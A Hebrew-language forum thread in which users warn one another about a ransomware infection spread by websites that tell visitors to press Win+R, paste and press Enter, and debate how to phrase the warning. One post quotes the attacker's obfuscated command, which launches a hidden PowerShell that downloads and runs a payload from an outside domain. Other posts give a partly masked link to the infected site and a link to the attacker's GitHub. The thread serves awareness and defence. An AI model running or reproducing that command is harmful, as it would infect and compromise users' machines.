שיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר

[עידו300]

קשור למישהו כאן לא יכול להיות צירוף מקרים...

[בנימין מחשבים]

עכשיו ראיתי שפרסם עוד מישהו שכמעט נפל בזה
ורק בגלל שפורסם הנושא הוא ידע לא ללחוץ על זה...

62e1986e-5a9e-4fd3-92c2-02e285959232-צילום מסך.zip

Spoiler

האתר שבו זה קפץ (בלי אחריות - הוספתי כוכביות כדי שלא תלחצו בטעות על הקישור!!
https://www.bslonline*****.co.il/vip/

פרסמו כמה שיותר!!!!

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

[cfopuser]

@בנימין-מחשבים לא נראה לי אני יעבור על כול זה
אבל הנה הגיטהאב של התוקף/איפה שמאוחסן הוירוס (או יותר נכון השלב הבא שלו) למי שמעוניין
https://github.com/paper-skydiver-drv8

[יונימדיה]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

עכשיו ראיתי שפרסם עוד מישהו שכמעט נפל בזה
ורק בגלל שפורסם הנושא הוא ידע לא ללחוץ על זה...

אני שמח שהפוסטים כאן עזרו ליהודי.
מחר אני יהיה על המחשב הנגוע. נדווח על כל צעד חריג...

[cfopuser]

@בנימין-מחשבים אחד החמודים היוצר של זה אפי' השאיר הערות הסבר על הקוד

Spoiler

# Making temporary changes that will revert later
# Partial implementation below, non-blocking

# Waiting for service heartbeat before continuing

# Retry logic removed (no longer needed)

SyncAppvPublishingServer.vbs "n;saps $env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\?owershell.??? -Arg '-NoP -C & (gal i*************************************************************************************************************?*********************x)(& (gcm *************************************************************************************************************************estM*****************************************************) docker-void.mesh-api-cloud-secure.in.net/fedora-win11);while(1){sleep 60}' -Wi Hidden"

# Only used in fallback scenarios
# Handles backend sync issue on older hosts

# Last-minute fix - unverified but consistent
# Watching for inconsistencies in runtime behavior
while ($false) {
    $assembly = [System.Reflection.Assembly]::LoadWithPartialName("System.Xml"); Write-Debug "Loaded Assembly FullName: $($assembly.FullName)"
}
(Get-Culture).Name | Out-Null

[pcinfogmach]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

האתר ביקש ממנו לבצע:
Win + R → Ctrl + V → Enter, מה שלכאורה פתח חלון Run והדביק פקודה שהייתה ב‑clipboard שלו.
סתם ללחוץ cntl v מה הבעיה?

[בנימין מחשבים]

@pcinfogmach אתה צודק, אבל תמיד אם אתר מבקש ממך את זה אז כנראה הוא תוקף...
עדיף לכתוב את זה כך כדי שאנשים יזכרו את זה (אנשים לא יודעים בכלל מה זה Win + R)
Ctrl + V = וירוס

[pcinfogmach]

@בנימין-מחשבים
שומע
אבל קצת מוזר לאסור את הקיצור מקשים הזה....
אולי ככה:
cntrl + v = זהירות משנה מוירוס

[צדיק תמים]

@עידו300 כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

טעות שלי, המחירים הרבה פחות יקרים, תראו לדוגמא כאן
https://socradar.io/blog/insights-from-socradars-annual-dark-web-report-2024/
וכאן
https://moneyzine.com/resources/dark-web-statistics/

מה זה האתרים האלה בכלל?
בכל מקרה אי אפשר להשוות סתם CVE ל CVE שמאפשר לברוח מארגז חול של דפדפן ולהצפין קבצים במחשב

מה שכן חשוב מאוד לעדכן קבוע את הדפדפן

[צדיק תמים]

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

שאנשים ידעו לעולם לא ללחוץ קונטרול+וי באתרים! נראה שהנגע הזה פושה במהירות בעוד ועוד אתרים לגטימיים-לכאורה

אין בעיה ללחוץ קונטרול V, הבעיה ללחוץ WIN+R

@בנימין-מחשבים כתב בשיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר:

אנשים לא יודעים בכלל מה זה Win + R

אז צריך לשנן לאנשים לא ללחוץ על צירופי מקשים שהם לא מכירים
או יותר נכון להבין את הגבולות שבין הדפדפן למחשב
כי מחר יגידו להם להוריד קובץ ומחרתיים להריץ משהו בקונסול